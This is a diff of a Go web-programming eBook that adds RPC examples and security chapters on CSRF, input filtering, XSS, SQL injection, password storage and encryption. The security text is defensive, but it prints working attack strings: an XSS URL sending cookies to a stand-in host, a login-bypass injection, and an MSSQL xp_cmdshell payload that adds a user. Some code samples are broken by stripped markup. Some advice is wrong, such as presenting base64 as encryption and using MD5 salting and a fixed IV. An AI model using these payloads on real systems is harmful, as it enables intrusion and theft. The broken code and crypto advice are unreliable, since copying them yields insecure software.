Quotient struct { + Quo, Rem int + } + + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server") + os.Exit(1) + } + serverAddress := os.Args[1] + + client, err := rpc.DialHTTP("tcp", serverAddress+":1234") + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +We compile the client and the server side code separately, start server and start client, then you'll have something similar as follows after you input some data. + + $ ./http_c localhost + Arith: 17*8=136 + Arith: 17/8=2 remainder 1 + +As you can see, we defined a struct for return type, we use it as type of function argument in server side, and use as type of the second and third arguments in the client `client.Call`. This call is very important, it has three arguments, where the first one the name of function that is going to be called, and the second is the argument you want to pass, the last one is the return value(pointer type). So far we see that it's easy to implement RPC in Go. + +### TCP RPC + +Let's try the RPC that is based on TCP, here is the serer side code: + + package main + + import ( + "errors" + "fmt" + "net" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + rpc.ServeConn(conn) + } + + } + + func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } + } + +The different between HTTP RPC and TCP RPC is that we have to control connections by ourselves if we use TCP RPC, then pass connections to RPC for processing. + +As you may guess, this is a blocking pattern application, you are free to use goroutine to extend this application for more advanced experiment. + +The client side code: + + package main + + import ( + "fmt" + "log" + "net/rpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + os.Exit(1) + } + service := os.Args[1] + + client, err := rpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +The only difference in client side code is that HTTP client uses DialHTTP where TCP client uses Dial(TCP). + +### JSON RPC + +JSON RPC encodes data to JSON instead of gob, let's see an example of Go JSON RPC server side code sample: + + package main + + import ( + "errors" + "fmt" + "net" + "net/rpc" + "net/rpc/jsonrpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + type Arith int + + func (t *Arith) Multiply(args *Args, reply *int) error { + *reply = args.A * args.B + return nil + } + + func (t *Arith) Divide(args *Args, quo *Quotient) error { + if args.B == 0 { + return errors.New("divide by zero") + } + quo.Quo = args.A / args.B + quo.Rem = args.A % args.B + return nil + } + + func main() { + + arith := new(Arith) + rpc.Register(arith) + + tcpAddr, err := net.ResolveTCPAddr("tcp", ":1234") + checkError(err) + + listener, err := net.ListenTCP("tcp", tcpAddr) + checkError(err) + + for { + conn, err := listener.Accept() + if err != nil { + continue + } + jsonrpc.ServeConn(conn) + } + + } + + func checkError(err error) { + if err != nil { + fmt.Println("Fatal error ", err.Error()) + os.Exit(1) + } + } + +JSON RPC is based on TCP, it hasn't support HTTP yet. + +The client side code: + + package main + + import ( + "fmt" + "log" + "net/rpc/jsonrpc" + "os" + ) + + type Args struct { + A, B int + } + + type Quotient struct { + Quo, Rem int + } + + func main() { + if len(os.Args) != 2 { + fmt.Println("Usage: ", os.Args[0], "server:port") + log.Fatal(1) + } + service := os.Args[1] + + client, err := jsonrpc.Dial("tcp", service) + if err != nil { + log.Fatal("dialing:", err) + } + // Synchronous call + args := Args{17, 8} + var reply int + err = client.Call("Arith.Multiply", args, &reply) + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d*%d=%d\n", args.A, args.B, reply) + + var quot Quotient + err = client.Call("Arith.Divide", args, ") + if err != nil { + log.Fatal("arith error:", err) + } + fmt.Printf("Arith: %d/%d=%d remainder %d\n", args.A, args.B, quot.Quo, quot.Rem) + + } + +## Summary + +Go has good support of HTTP, TPC, JSON RPC implementation, we can easily develop distributed web applications; however, it is regrettable that Go hasn't support for SOAP RPC which some third-party packages did it on open source. + +## Links + +- [Directory](preface.md) +- Previous section: [REST](08.3.md) +- Next section: [Summary](08.5.md) diff --git a/en/eBook/08.5.md b/en/eBook/08.5.md new file mode 100644 index 00000000..76122c4e --- /dev/null +++ b/en/eBook/08.5.md @@ -0,0 +1,11 @@ +# 8.5 Summary + +In this chapter, I introduced you several main stream web application development model. In section 8.1, I described the basic networking programming: Socket programming. Because the direction of the network being rapid evolution, and the Socket is the cornerstone of knowledge of this evolution, you must be mastered as a developer. In section 8.2, I described HTML5 WebSocket, the increasingly popular feature, the server can push messages through it, simplified the polling mode of AJAX. In section 8.3, we implemented a simple RESTful application, which is particularly suited to the development of network API; due to rapid develop of mobile applications, I believe it will be a trend. In section 8.4, we learned about Go RPC. + +Go provides good support above four kinds of development methods. Note that package `net` and its sub-packages is the place where network programming tools of Go are. If you want more in-depth understanding of the relevant implementation details, you should try to read source code of those packages. + +## Links + +- [Directory](preface.md) +- Previous section: [RPC](08.4.md) +- Next chapter: [Security and encryption](09.0.md) diff --git a/en/eBook/09.0.md b/en/eBook/09.0.md new file mode 100644 index 00000000..5506a289 --- /dev/null +++ b/en/eBook/09.0.md @@ -0,0 +1,19 @@ +# 9 Security and encryption +Security is important with Web application. This topic been getting more and more attention lately, especially in recent CSDN, Linkedin and Yahoo password leaks. As Go developers, we must be aware of vulnerabilities in our application and take precautions to prevent attackers from taking over our system. + +Many Web application security problems are due to the data provided by a third-party. For example, user input should be validated and sanitized before being stored as secure data. If this isn't done then when the data is outputted to the client, it may cause a cross-site scripting attack (XSS). If unsafe data is used database queries, then it may cause a SQL injection. In sections 9.3, 9.4 we'll look at how to avoid these problems. + +When using third-party data, including user-supplied data, first verify the integrity of the data by filtering the input. Section 9.2 describe how to filter input. + +Unfortunately, filtering input and escaping output does not solve all security problems. We will explain in section 9.1 cross-site request forgery (CSRF) attacks. +This is a malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. + +Adding encryption can also include the security of our Web application. In section 9.5 we will describe how to store passwords safely. + +A good hash function makes it hard to find two strings that would produce the same hash value, which describes one way encryption. There is also two-way encryption, that is where you use a key to decrypt encrypted data. In section 9.6 we will describe how to perform one-way and two-way encryption. + + +## Links +- [Directory](preface.md) +- Previous Chapter: [Chapter 8 Summary](08.5.md) +- Next section: [CSRF attacks](09.1.md) diff --git a/en/eBook/09.1.md b/en/eBook/09.1.md new file mode 100644 index 00000000..2929a4a6 --- /dev/null +++ b/en/eBook/09.1.md @@ -0,0 +1,98 @@ +# 9.1 CSRF attacks + +## What is CSRF? + +CSRF and XSRF stands for "Cross-site request forgery". It's also known as "one click attack/session riding" and short term is CSRF/XSRF. + +So how does CSRF attack work? Basically it's when an attacker trick a trusted user into accessing a website or clicking a URL that transmit malicious requests without the user’s consent to a targeted website. Here's an simple example: using a few social engineering tricks, an attacker could use the QQ chat software to find a victim and to send a malicious link to the victim targeted for the user's bank website. If the victim logs into their online banking account and does not exit, then click on a link sent from the attacker, then the user's bank account funds could likely to be transferred to the attacker specified account. + +When under a CSRF attack, the end-user with an administrator account can threaten the entire Web application. + +## CSRF principle + +The following diagram provides a simple overview of ​​a CSRF attack + +![](images/9.1.csrf.png?raw=true) + +Figure 9.1 CSRF attack process. + +As can be seen from the figure, to complete a CSRF attack, the victim must complete these two steps: + +-1. Log into trusted site A, and store a local Cookie. +-2. Without existing site A, access to dangerous link to site B. + +See here, the reader may ask : "If I do not meet the above two conditions in any one, it will not be CSRF attacks." Yes, it is true, but you can not guarantee that the following does not happen : + +- You can not guarantee that when you are logged in a site, the site didn't lauch any hidden tabs. +- You can not guarantee that when you close your browser, your cookies immediately expire and your last session has ended. +- A trusted high traffic sites doesn't have hidden vulnerabilities that could be exploited with a CSRF attack. + +Therefore, it is difficult for a user to visit a website through a link and know that they do not carry out unknown operations for a CSRF attack. + +CSRF attacks work mostly because of the process of Web authentication. Although you can guarantee that a request is from a user's browser, you can not guarantee that the user approved the request. + +## How to prevent CSRF + +You might be a little scared after reading the section above. But terror is a good thing. It will force you read on how to prevent vulnerabilities like this from happening to you. + +CSRF defenses can be built on the server and client side. A CSRF defense is most effective on the server side. + +There are many ways of preventing CSRF attacks are the server side. Most of the defensive stem from from the following two aspects: + +1. Maintaining proper use GET, POST and Cookie. +2. Include a pseudo-random number with non-GET requests. + +In the previous chapter on REST, we saw how most Web applications are based on GET, POST requests, and that cookies where included with the request. We generally design application as follows : + +1. GET is commonly used to view information without changing values. + +2. POST is used in placing orders, change the properties of a resource or perform other tasks. + +Then I will use the Go language to illustrate how to restrict access to resources Methods: + + mux.Get("/user/:uid", getuser) + mux.Post("/user/:uid", modifyuser) + +After this treatment, because we define the modifications can only use POST, GET method when it refused to respond to the request, so the above illustration GET method of CSRF attacks can be prevented, but it can all solve the problem yet ? Of course not, because POST also can simulate. + +Therefore, we need to implement the second step, the way in non-GET requests to increase the random number, this probably has three ways: + +- For each user generates a unique cookie token, all forms contain the same pseudo-random value, this proposal was the most simple, because the attacker can not get a third party Cookie ( in theory ), so the data in the form will construct fail, but it is easy because the user's Cookie XSS vulnerability because the site had been stolen, so this program must be in the absence of circumstances that XSS security. +- Each request to use the verification code, this program is perfect, because many enter the verification code, so the user-friendliness is poor, it is not suitable for practical use. +- A different form contains a different pseudo- random value, we introduce in section 4.4, "How to prevent multiple form submission" is introduced in this scenario, the relevant code reuse to achieve the following : + +Generate a random number token: + + h := md5.New() + io.WriteString(h, strconv.FormatInt(crutime, 10)) + io.WriteString(h, "ganraomaxxxxxxxxx") + token := fmt.Sprintf("%x", h.Sum(nil)) + + t, _ := template.ParseFiles("login.gtpl") + t.Execute(w, token) + + +Output token: + + + +Authentication token: + + r.ParseForm() + token := r.Form.Get("token") + if token! = "" { + // Verification token of legitimacy + } Else { + // Error token does not exist + } + +So basically to achieve a secure POST, but maybe you would say if you break the token algorithm does, in accordance with the theory, but in fact crack is basically impossible, because someone has calculated brute force of the string needs about 2 the 11 th time. + +## Summary + +Cross-site request forgery, that CSRF, is a very dangerous web security threats, it is Web security circles as "sleeping giant", the level of threat which "reputation" can be seen. This section not only for cross-site request forgery itself a brief introduction, also details the reason causing this vulnerability and then put some order to prevent the attack of suggestions, hoping for the reader to write secure web applications can inspire. + +## Links +- [Directory](preface.md) +- Previous section: [Security and encryption](09.0.md) +- Next section: [Filter inputs](09.2.md) diff --git a/en/eBook/09.2.md b/en/eBook/09.2.md new file mode 100644 index 00000000..b5209cae --- /dev/null +++ b/en/eBook/09.2.md @@ -0,0 +1,79 @@ +# 9.2 Filter inputs + +Filter user data is a Web application security. It is to verify the legitimacy of the process data. Through all of the input data is filtered to avoid malicious data in the program to be mistaken belief or misuse. Most Web application vulnerabilities because no user input data for proper filtration caused. + +We introduce filtering data is divided into three steps: + +1. the identification data, the data needs to be filtered to figure out from where +2. the filtering data, we need to figure out what kind of data +3. the distinction between filtered and tainted data, so if there is assurance attack data after filtering allows us to use a more secure data + +## Identify data + +"Identification data" as a first step because you do not know " what the data is, where it comes from," the premise that you would be unable to properly filter it. The data here is provided internally all from non-code data. For example: all data from the client, but the client is not the only external data source, a database interface data provided by third parties, also be an external data source. + +The data entered by the user is very easy to recognize we Go, Go through the `r.ParseForm` after the user POST and GET data all on the `r.Form` inside. Other input is much harder to identify, for example, `r.Header` Many of the elements are manipulated by the client. Often difficult to identify which of these elements of the input, so the best way is to put inside all the data as a user input. ( Ex `r.Header.Get("Accept-Charset")` This is also seen as user input, although these most browsers manipulation ) + +## Filter data + +Data sources in the know, you can filter it. Filtering is a bit formal terms, it is expressed in peacetime there are many synonyms, such as validation, cleaning and decontamination. Despite the apparent meaning of these terms are different, but they all refer to the same treatment: to prevent illegal data into your application. + +There are many ways to filter data, some of which are less secure. The best way is to check the filter as a process, you have to check before using the data to see whether they meet the legal requirements of the data. And do not try to correct the illegal data kindly, and let the user presses the rules to enter your data. History has proved that the attempt to correct invalid data often lead to security vulnerabilities. Here an example: "The recent construction of the banking system after the upgrade, if the password behind the two is 0, just enter the front four can log into the system," which is a very serious flaw. + +Filtering data using the following several major libraries to operate : + +- Strconv package the following string into the correlation function, because the `r.Form` Request returns a string, and sometimes we need to convert it to an integer/floating point, `Atoi`, `ParseBool`, ` ParseFloat `,` ParseInt ` other function can come in handy. +- String pack Here are some filter function `Trim`, `ToLower`, `ToTitle` other functions, can help us to obtain information in accordance with the format specified. +- Regexp package to handle some of the complex needs, such as determining whether the input is Email, birthdays and the like. + +Filtering Data In addition to checking authentication, in particular, you can also use the whitelist. Assuming that you are checking the data is illegal, unless it can prove that it is legitimate. Using this method, if an error occurs, it will only lead to the legitimate data as it is illegal, and not the opposite, although we do not want to make any mistakes, but it is better than the illegal data as legitimate data much more secure. + +## Distinguish filter data + +If you have completed the above steps, data filtering work is basically completed, but when writing Web applications, we also need to distinguish between filtered and tainted data, because it can guarantee the integrity of data filtering without affecting the input data. We agreed to put all filtered data into a variable called global Map (CleanMap). Then two important steps needed to prevent contamination of data injection: + +- Each request must be initialized CleanMap an empty Map. +- Join inspection and prevent a variable from an external data source named CleanMap. + +Next, let's use an example to reinforce these concepts, see the following form + +
+ Who am I: + + +
+ +In dealing with this form of programming logic, very easy to make the mistake that can only be submitted in one of three choices. In fact, an attacker can simulate the POST operation, `name = attack` submission of such data, so at this point we need to do a similar deal with whitelist + + r.ParseForm() + name := r.Form.Get("name") + CleanMap := make(map[string]interface{}, 0) + if name == "astaxie" || name == "herry" || name == "marry" { + CleanMap["name"] = name + } + +The above code we initialize a `CleanMap` variable name is obtained when the judge `astaxie`, `herry`, `marry` after one of the three +We store data in the `CleanMap` being, so you can make sure `CleanMap["name"]` data is legitimate, and thus the rest of the code to use it. Of course, we can also increase the else part of illegal data processing, possibility is that the form is displayed again with an error. But do not try to be friendly and output data to be contaminated. + +The above method for filtering a set of known legitimate value data is very effective, but there is a group known for filtering data consisting of legal characters when it did not help. For example, you may need a user name can only consist of letters and numbers: + + r.ParseForm() + username := r.Form.Get("username") + CleanMap := make(map[string]interface{}, 0) + if ok, _ := regexp.MatchString("^[a-zA-Z0-9].$", username); ok { + CleanMap["username"] = username + } + +## Summary + +Data filtering in the Web security play a cornerstone role in most of the security problems are the result of filtering the data and validation of data caused by, for example, the front section of CSRF attacks, and the next will be introduced XSS attacks, SQL injection and so there is no serious cause for filtering data, so we need special attention to this part of the content. + +## Links + +- [Directory](preface.md) +- Previous section: [CSRF attacks](09.1.md) +- Next section: [XSS attacks](09.3.md) diff --git a/en/eBook/09.3.md b/en/eBook/09.3.md new file mode 100644 index 00000000..1bfbba00 --- /dev/null +++ b/en/eBook/09.3.md @@ -0,0 +1,62 @@ +# 9.3 XSS attacks + +With the development of Internet technology, and now the Web application contains a lot of dynamic content to improve the user experience. The so-called dynamic content is that the application environment and the user according to the user request, the output of the corresponding content. Dynamic site will be called "cross-site scripting attacks" (Cross Site Scripting, security experts often be abbreviated as XSS) threats, while static site is completely unaffected by it. + +## What is XSS + +XSS attacks: cross-site scripting attacks (Cross-Site Scripting), in order not to, and Cascading Style Sheets (Cascading Style Sheets, CSS) acronym confusion, it will be abbreviated as cross-site scripting attacks XSS. XSS is a common web security vulnerability that allows an attacker to provide malicious code into the pages used by other users. Unlike most attacks (generally involve the attacker and the victim), XSS involves three parties, namely the attacker, the client and Web applications. XSS attack goal is to steal a cookie stored on the client or other websites used to identify the identity of sensitive client information. Once you get to the legitimate user's information, the attacker can even impersonate interact with the site. + +XSS can usually be divided into two categories: one is the storage type of XSS, mainly in allowing users to input data for use by other users who browse this page to view places, including comments, reviews, blog posts and various forms. Applications to query data from the database, the page is displayed, the attacker entered the relevant page malicious script data, users browse these pages may be attacked. This simple process can be described as: a malicious user input Html Web applications - > access to the database -> Web Programs - > user's browser. The other is reflective XSS, the main approach is to add the script code in the URL address of the request parameters, request parameters into the program directly to the output of the page, the user clicks a malicious link in a similar attack could be. + +XSS present the main means and ends as follows: + +- Theft of cookie, access to sensitive information. +- The use of implantable Flash, through crossdomain permissions set to further obtain a higher authority, or the use of Java and other get similar operations. +- Use iframe, frame, XMLHttpRequest or the Flash, etc., to (the attacker) the identity of the user to perform some administrative actions, or perform some, such as: micro-Bo, add friends, send private messages and other routine operations, some time ago, Sina microblogging suffered once XSS. +- The use of a domain can be attacked by other characteristics of domain trust to request the identity of trusted sources do not allow some of the usual operations, such as an improper voting. +- In a great number of visits on the page XSS attack some small sites can achieve the effect of DDoS attacks + +## XSS principle + +Web applications are not submitted the requested data to the user to make a full inspection filter that allows users to incorporate data submitted by HTML code (most notably">","<"), and the output of malicious code without escaping to third parties interpreted the user's browser, is leading causes of XSS vulnerabilities. + +Next to reflective XSS XSS illustrate the process: There is now a website, according to the parameters outputs the user 's name, such as accessing url: `http://127.0.0.1/?name=astaxie`, it will output the following in the browser information: + + hello astaxie + +If we pass this url: `http://127.0.0.1/?name=`, then you will find out a browser pop-up box, which Help the site has been in existence XSS vulnerabilities. So how malicious users steal Cookie it? +And the like, as this url: + +`http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>` +, so that you can put current cookie sent to the specified site: `www.xxx.com`. You might say, so have a look at the URL of the problem, how would someone clicks? Yes, this kind of URL will make people skeptical, but if you use a short URL service to shorten it, you could see it?, The attacker will shorten the url in some way after the spread, know the truth once the user clicks on this url, cookie data will be sent the appropriate pre-configured sites like this on the user's cookie information Theft, then you can use a tool like Websleuth to check whether the user's account to steal. + +A more detailed analysis about XSS we can refer to this called" [ Sina microblogging XSS event analysis ] (http://www.rising.com.cn/newsletter/news/2011-08-18/9621.html)" articles + +## How to prevent XSS + +The answer is simple, and resolutely do not believe any user input, and filter out all the special characters in the input. This will eliminate the majority of XSS attacks. + +There are currently XSS defense following ways : + +- Filtering special characters + +One way to avoid XSS mainly to the user-supplied content filtering, Go language provides the HTML filter function : + +`text/template` package below `HTMLEscapeString`, `JSEscapeString` other functions + +- Using HTTP headers specified type + +`w.Header().Set("Content-Type","text/javascript")` + +This allows the browser to parse javascript code, and will not be html output. + + +## Summary + +XSS vulnerability is quite hazardous in the development of Web applications, it is important to remember to filter data, especially in the output to the client, which is now well-established means of preventing XSS. + +## Links + +- [Directory](preface.md) +- Previous section: [Filter inputs](09.2.md) +- Next section: [SQL injection](09.4.md) diff --git a/en/eBook/09.4.md b/en/eBook/09.4.md new file mode 100644 index 00000000..1ac227b8 --- /dev/null +++ b/en/eBook/09.4.md @@ -0,0 +1,75 @@ +# 9.4 SQL injection + +## What is SQL injection + +SQL injection attacks (SQL Injection), referred to injection attacks, Web development is the most common form of security vulnerabilities. You can use it to obtain sensitive information from the database, or the use of the characteristics of the process of adding users to the database, export file and a series of malicious actions, there may even get a database as well as the highest authority system users. + +SQL injection caused because the program does not effectively filter user input, so that an attacker successfully submitted to the server malicious SQL query code, the program will receive the error after the attacker's input as a part of query execution, leading to the original the query logic is changed, the additional execution of attacker crafted malicious code. + +## SQL injection examples + +Many Web developers do not realize how SQL queries can be tampered with, so that an SQL query is a trusted command. As everyone knows, SQL queries are able to circumvent access controls, thereby bypassing standard authentication and authorization checks. What is more, it is possible to run SQL queries through the host system level commands. + +The following will be some real examples to explain in detail the way SQL injection. + +Consider the following simple login form : + +
+

Username:

+

Password:

+

+
+ +Our processing inside the SQL might look like this : + + username := r.Form.Get("username") + password := r.Form.Get("password") + sql := "SELECT * FROM user WHERE username='" + username + "' AND password='" + password + "'" + +If the user input as the user name, password, any + + myuser' or 'foo' = 'foo' -- + +Then our SQL becomes as follows: + + SELECT * FROM user WHERE username='myuser' or 'foo'=='foo' --'' AND password='xxx' + +In SQL, anything after `--` is a comment. Thus inserting `--` alters the query. This allows the attacker to successful login as a user without a valid password. + +There are far more dangerous for a MSSQL SQL injection, is the control system, the following examples will demonstrate how terrible in some versions of MSSQL database to perform system commands. + + sql := "SELECT * FROM products WHERE name LIKE '%" + prod + "%'" + Db.Exec(sql) + +If the attacker Submit `a%' exec master..xp_cmdshell 'net user test testpass /ADD' --` prod value as a variable, then the sql will become + + sql := "SELECT * FROM products WHERE name LIKE '%a%' exec master..xp_cmdshell 'net user test testpass /ADD'--%'" + +MSSQL Server executes the SQL statement, including its back that is used to add new users to the system commands. If this program is run sa and the MSSQLSERVER service sufficient privileges, the attacker can get a system account to access this machine. + +> Although the examples above is tied to a specific database systems, but this does not mean that other database systems can not implement a similar attack. In response to this vulnerability, as long as the use of different methods, various databases are likely to suffer. + +## How to prevent SQL injection + +Perhaps you will say the attacker to know the database structure information in order to implement SQL injection attacks. True, but no one can guarantee the attacker must get this information, once they got, the database exists the risk of leakage. If you are using open source software to access the database, such as forum, the intruders easily get the related code. If the code is poorly designed, then the risk is even greater. Currently Discuz, phpwind, phpcms popular open source programs such as these have been precedents of SQL injection attacks. + +These attacks happen when safety is not high on the code. So, never trust any kind of input, especially from the user's data, including the selection box, a hidden input field or a cookie. As a first example above it, even if it is a normal query can cause disasters. + +SQL injection attacks harm so great, then how to combat it ? Following suggestions may be the prevention of SQL injection have some help. + +1. Strictly limit the operation of the Web application database permissions to this user is only able to meet the minimum permissions of their work, thus to minimize the harm to the database injection attacks. +2. Check whether the data input has the expected data format, and strictly limit the types of variables, such as using some regexp matching processing package, or use strconv package right string into other basic types of data to judge. +3. Pairs of special characters into the database ( '"\&*; etc. ) be escaped, or transcoding. Go to `text/template` package inside the `HTMLEscapeString` function can be escaped strings. +4. All the recommended database query parameterized query interface, parameterized statement uses parameters instead of concatenating user input variables in embedded SQL statements that do not directly spliced ​​SQL statement. For example, using `database/sql` inside the query function `Prepare` and `Query`, or `Exec(query string, args... interface {})`. +5. In the application before releasing recommend using a professional SQL injection detection tools to detect, and repair was discovered when a SQL injection vulnerability. There are many online open source tool in this regard, for example, sqlmap, SQLninja so on. +6. Avoid printing out SQL error information on webpage in order to prevent an attacker using these error messages for SQL injection. Ex. such as type errors, and fields not matching, or any SQL statements. + +## Summary + +Through the above example we can know, SQL injection is harmful to considerable security vulnerabilities. So we usually write for a Web application, it should be for every little detail must attach great importance to the details determine the fate of life is so, writing Web applications as well. + +## Links + +- [Directory](preface.md) +- Previous section: [XSS attacks](09.3.md) +- Next section: [Password storage](09.5.md) diff --git a/en/eBook/09.5.md b/en/eBook/09.5.md new file mode 100644 index 00000000..0ec44eeb --- /dev/null +++ b/en/eBook/09.5.md @@ -0,0 +1,96 @@ +# 9.5 Password storage + +Over a period of time, a lot of websites suffered data breaches user password, which includes top Internet companies - Linkedin.com, CSDN.net, the event swept across the entire domestic Internet, and then it came to more than 8 million users play games information was leaked, another rumor everyone, happy network, a distant community, good margin century, Lily network and other communities are likely to become the next target hackers. The endless stream of similar events to the user's online life a huge impact, feel insecure, because people tend habit of using the same password for different sites, so a"violent Library", all suffer. + +So we as a Web application developer, the choice of password storage scheme, which is easy to fall into the pitfalls and how to avoid these traps? + +## Common solution + +Currently the most used password storage scheme is to make one-way hash plaintext passwords stored after, there is a one-way hash algorithm characteristics: can not hashed summary (digest) recover the original data, which is the"one-way" two source word. Commonly used one-way hash algorithms include SHA-256, SHA-1, MD5 and so on. + +Go language these three encryption algorithm is as follows: + + //import "crypto/sha256" + h := sha256.New() + io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") + fmt.Printf("% x", h.Sum(nil)) + + //import "crypto/sha1" + h := sha1.New() + io.WriteString(h, "His money is twice tainted: 'taint yours and 'taint mine.") + fmt.Printf("% x", h.Sum(nil)) + + //import "crypto/md5" + h := md5.New() + io.WriteString(h, "需要加密的密码") + fmt.Printf("%x", h.Sum(nil)) + +There are two one-way hash features: + +1) with a one-way hash of the password, the resulting summary is always uniquely determined. +2) calculation speed. As technology advances, a second to complete billions of one-way hash calculation. + +Combination of the above two characteristics, taking into account the majority of people are using a combination of common password, the attacker can be a combination of all the common password -way hash, get a summary combination, and then a summary of the database for comparison to obtain the corresponding password. This abstract composition is also known as `rainbow table`. + +Therefore, after a one-way encryption of data stored, and stored in plain text is not much difference. Therefore, once the site database leaked, all the user's password itself is revealed to the world. + +## Advanced solution + +Through the above description we know that hackers can use the `rainbow table` to crack hashed passwords, largely because the hash algorithm used to encrypt is public. If a hacker does not know what encryption hash algorithm, that he will not start up. + +An immediate solution is to design their own a hash algorithm. However, a good hash algorithm is very difficult to design - both to avoid the collision, but also can not have obvious rule, these two points to be much more difficult than expected. Therefore, more practical applications is the use of many existing hash hash algorithm. + +But simply repeated hash, still could not stop hackers. Twice MD5, MD5 three such methods, we can think of, hackers can think naturally. Especially for some of the open source code, so that it is equivalent to the hash algorithm directly to tell a hacker. + +No unassailable shield, but there is no off constantly spear. Now security is relatively good site, will use a technique called" salt" way to store passwords, it is often said that"salt". Their usual practice is to first conduct a user-entered password MD5 (or other hash algorithm) encryption ; MD5 values ​​will be only an administrator before they know plus some random string, and then conduct a MD5 encryption. The random string can be included in certain fixed string, and can include the user name (used to ensure that each user is not the same encryption key used). + + //import "crypto/md5" + // Assume the username abc, password 123456 + h := md5.New() + io.WriteString(h, "password need to be encrypted") + + pwmd5 :=fmt.Sprintf("%x", h.Sum(nil)) + + // Specify two salt: salt1 = @#$% salt2 = ^&*() + salt1 := "@#$%" + salt2 := "^&*()" + + // salt1 + username + salt2 + MD5 splicing + io.WriteString(h, salt1) + io.WriteString(h, "abc") + io.WriteString(h, salt2) + io.WriteString(h, pwmd5) + + last :=fmt.Sprintf("%x", h.Sum(nil)) + +In two salt did not reveal circumstances, if the hacker is the last to get the encrypted string, it is almost impossible to figure out what the original password. + +## Professional solution + +Advanced solutions above a few years ago may be safe enough solution because the attacker does not have enough resources to build so many `rainbow table`. However, so far, because the parallel computing capabilities of the upgrade, this attack has been completely feasible. + +How to solve this problem? As long as time and resources permit, without a password can not be deciphered, so the solution is: Calculate the required password deliberately increase the resources and time consuming, so nobody sufficient resources available to establish the required `rainbow table`. + +Such programs have a feature, the algorithm has a factor used to calculate the digest of the password needed to indicate the resources and time, which is computationally intensive. The greater the intensity calculation, an attacker establishes `rainbow table` more difficult, so that can not continue. + +It is recommended `scrypt` program, scrypt by the famous hacker Colin Percival of the FreeBSD backup service Tarsnap for his development. + +Go language which is currently supported by the library http://code.google.com/p/go/source/browse?repo=crypto#hg%2Fscrypt + + dk: = scrypt.Key([]byte("some password"), []byte(salt), 16384, 8, 1, 32) + +Through the above method can obtain only the corresponding password value, which is by far the most difficult to crack. + +## Summary + +See here, if you had a sense of crisis, then action: + +1) If you are a regular user, then we recommend LastPass for password storage and generation, on different sites use different passwords. + +2) If you are a developer, then we strongly suggest you use expert program for password storage. + +## Links + +- [Directory](preface.md) +- Previous section: [SQL injection](09.4.md) +- Next section: [Encrypt and decrypt data](09.6.md) diff --git a/en/eBook/09.6.md b/en/eBook/09.6.md new file mode 100644 index 00000000..e5dbd8f1 --- /dev/null +++ b/en/eBook/09.6.md @@ -0,0 +1,126 @@ +# 9.6 Encrypt and decrypt data + +The previous section describes how to store passwords, but sometimes we want to change some sensitive data encrypted and stored up sometime in the future, with the need to decrypt them out , then we should use a symmetric encryption algorithm to meet our needs. + +## Base64 Encryption and decryption + +If the Web application is simple enough, data security is no less stringent requirements, then you can use a relatively simple method of encryption and decryption is `base64`, this approach is relatively simple to implement , Go language `base64` package has been well support of this , consider the following examples: + + package main + + import ( + "encoding/base64" + "fmt" + ) + + func base64Encode(src []byte) []byte { + return []byte(base64.StdEncoding.EncodeToString(src)) + } + + func base64Decode(src []byte) ([]byte, error) { + return base64.StdEncoding.DecodeString(string(src)) + } + + func main() { + // encode + hello := "你好,世界! hello world" + debyte := base64Encode([]byte(hello)) + fmt.Println(debyte) + // decode + enbyte, err := base64Decode(debyte) + if err != nil { + fmt.Println(err.Error()) + } + + if hello != string(enbyte) { + fmt.Println("hello is not equal to enbyte") + } + + fmt.Println(string(enbyte)) + } + + +## Advanced encryption and decryption + +Go inside the `crypto` language support symmetric encryption advanced encryption package are: + +- `crypto/aes` package: AES (Advanced Encryption Standard), also known as Rijndael encryption method used is the U.S. federal government as a block encryption standard. +- `crypto/des` package: DES (Data Encryption Standard), is a symmetric encryption standard , is currently the most widely used key system, especially in protecting the security of financial data. +Was a United States federal government encryption standard, but has now been replaced by AES. + +Because of these two algorithms using methods similar to, so in this, we just aes package as an example to explain their use, see the following example + + package main + + import ( + "crypto/aes" + "crypto/cipher" + "fmt" + "os" + ) + + var commonIV = []byte{0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f} + + func main() { + // Need to encrypt a string + plaintext := []byte("My name is Astaxie") + // If the incoming encrypted strings of words, plaint is that the incoming string + if len(os.Args) > 1 { + plaintext = 